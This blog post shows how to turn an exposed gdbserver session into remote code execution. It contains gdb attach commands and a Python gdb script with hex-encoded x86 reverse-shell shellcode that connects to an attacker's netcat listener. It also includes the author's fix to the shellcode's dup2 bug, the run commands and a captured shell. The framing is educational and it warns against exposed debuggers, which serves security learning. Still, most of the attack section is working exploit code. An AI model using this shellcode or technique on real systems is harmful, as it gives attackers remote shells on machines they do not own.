Turning an arbitrary GDBserver sessions into RCE
Today we’ll see how we can turn an arbitrary GDBserver remote debugging
session into remote code execution. First of all, let’s assume gdbserver is
ran using the following command. We will also assume that the target
architecture is Linux/x86, but you can port the technique to other
architectures as needed.
$ gdbserver --remote-debug 0.0.0.0:1337 ./some_unknown_binary
What happens is that gdbserver will serve as many remote debugging sessions as
possible while it’s running. That is, we can have as many remote debugging
sessions as we like, until the gdbserver is killed (but only one at a time.)
This makes sense, because if we are debugging a target, then we don’t want to
restart gdbserver every time we hit “run” in gdb.
Let’s assume one were to run gdbserver in a screen, to prevent accidental
connection resets resulting in losing the gdbserver session (assuming we’re
ssh’ing into a remote server.) Exactly this happened to me – I recently found
out that there were still two (of my) gdbserver’s running in a screen from
when we were playing a CTF, almost two months ago.
Now anyone with the ip address and port number can attach to your gdbserver by
doing the following.
$ gdb (gdb) target extended-remote host:port Remote debugging using host:port (gdb) run [..] [Inferior 1 (process 42) exited normally]
In order not to make the RCE not too easy, we’re going to assume that we don’t
have any symbols of the remote binaries, and that all addresses are ASLR’d. In
other words, educational guessing of “main” is useless, and we won’t be able
to do arbitrary function calls during debugging such as the following.
(gdb) call system("/bin/sh") No symbol table is loaded. Use the "file" command.
However, if we enter a breakpoint at an invalid address and run the debuggee,
we get an error right before executing the very first instruction of the
process. This looks roughly like the following
(gdb) break *0 Breakpoint 1 at 0x0 (gdb) run Starting program: warning: Could not load vsyscall page because no executable was specified try using the "file" command first. Warning: Cannot insert breakpoint 1. Error accessing memory address 0x0: Unknown error 18446744073709551615. (gdb) info reg eip eip 0xf7fe0850 0xf7fe0850
At this point the debuggee has been executed, and we’re able to inspect and
modify its state. We continue by removing our earlier breakpoint. Now it’s
time for the fun part.
Reverse Shell Shellcode
After a bit of googling, I stumbled upon the following shellcode. This
shellcode connects to an ip address and port of your choosing, and executes
/bin/sh with stdin, stdout, and stderr set to your socket. If we have netcat
listening on the remote ip address and port, then it’ll get a connection
request upon execution of the shellcode, and we can use it to run arbitrary
shell commands on the shellcodes machine, as if we had shell access. After an
initial test, this shellcode seemed to work on my x86_64 machine running a
32-bit application. However, there’s a small problem with this shellcode. If
we look closely at the shellcode, we notice the following.
804807b: 31 db xor ebx,ebx 804807d: b3 02 mov bl,0x2 [..] 804808a: fe c3 inc bl [..] 8048098: b1 03 mov cl,0x3 804809a <dupfd>: 804809a: fe c9 dec cl 804809c: b0 3f mov al,0x3f 804809e: cd 80 int 0x80 ; system call 80480a0: 75 f8 jne 804809a
Investigating this system call further, we see that this is the dup2
system call. However, the ebx register, or old_fd, seems to be
constant here – namely three. (I figured this out while brushing my teeth..)
This is the default fd if you open your first file descriptor in a program,
which is something we cannot assume, and is definitely not the case when
running the debuggee under gdbserver. (E.g., this shellcode fails if you open
a file or socket before running it, because the fd of the socket allocated by
our shellcode will be four for example, instead of three.)
If we look further, we see that the esi register contains the fd number
returned from the socket system call. (Actually, this is the socketcall
system call with SOCKOP_socket as operation, but that’s a minor detail
specific to Linux/x86.)
8048075: cd 80 int 0x80 ; socket() 8048077: 89 c6 mov esi,eax ; esi = fd [..] 804808e: 6a 10 push 0x10 ; sizeof(sockaddr_in) 8048090: 51 push ecx ; sockaddr_in * 8048091: 56 push esi ; fd 8048092: 89 e1 mov ecx,esp 8048094: cd 80 int 0x80 ; connect()
Long story short, we want to preserve esi before the connect system call,
and store it into ebx after the system call. Thus ebx will contain the fd of
our socket, and the system calls to dup2 will duplicate the correct fd into
stdin, stdout, and stderr. The following snippet shows the updates shellcode.
This is the shellcode that we’re going to use.
8048092: 89 e1 mov ecx,esp + push esi ; push fd 8048094: cd 80 int 0x80 ; connect() + pop ebx ; pop fd into ebx 8048096: 31 c9 xor ecx,ecx 8048098: b1 03 mov cl,0x3
Running the Shellcode
All we have left to do is to patch the correct ip address and port into the
shellcode, namely that of our listening netcat instance (e.g., running
“nc -vvv -l 9001″ on your favourite linux box), overwriting eip with the
shellcode, and finally, running it.
For my exploit I’m using gdb’s Python bindings, as initially I had another
technique in mind, which required a bit more scripting. Following is the
final part of the code which generates the shellcode, overwrites it onto eip,
and executes it. We have two continue statements at the end, as the
shellcode will execv into /bin/sh, after which we’ll get an error that
gdbserver can’t read the memory of eip anymore, so we have to instruct
gdbserver to continue past that error.
def reverse_shell((ip, port)): """Modified x86 reverse shell""" ip, port = socket.inet_aton(ip), struct.pack('>H', port) sc = \ '31c031db31c931d2b066b301516a066a016a0289e1cd8089c6b06631dbb30268' \ '000000006668ffff6653fec389e16a10515689e156cd805b31c9b103fec9b03f' \ 'cd8075f831c052686e2f7368682f2f626989e3525389e15289e2b00bcd80' return sc.decode('hex').replace('\xff'*2, port).replace('\x00'*4, ip) for idx, ch in enumerate(reverse_shell(netcat)): gdb.execute('set *(unsigned char *)($eip + %d) = %d' % (idx, ord(ch))) gdb.execute('continue') gdb.execute('continue')
The final exploit code can be found here.
Execution of the code may look like the following. We’ll need three shells.
(Optionally on different servers – do as you like.)
$ gdbserver --remote-debug 0.0.0.0:1337 ./some_unknown_binary [..]
$ nc -vvv -l 31338 [..]
$ vim gdbservrce.py # Patch the ip addresses $ gdb -x gdbservrce.py [..]
Now if we go back to Shell #2, we’ll see the following, and can run arbitrary
skier@box:~$ nc -vvv -l 31338 Connection from 18.104.22.168 port 31338 [tcp/*] accepted id uid=1010(skier) gid=1011(skier) groups=1011(skier)
This is a funny technique which basically tells you not to have gdbserver’s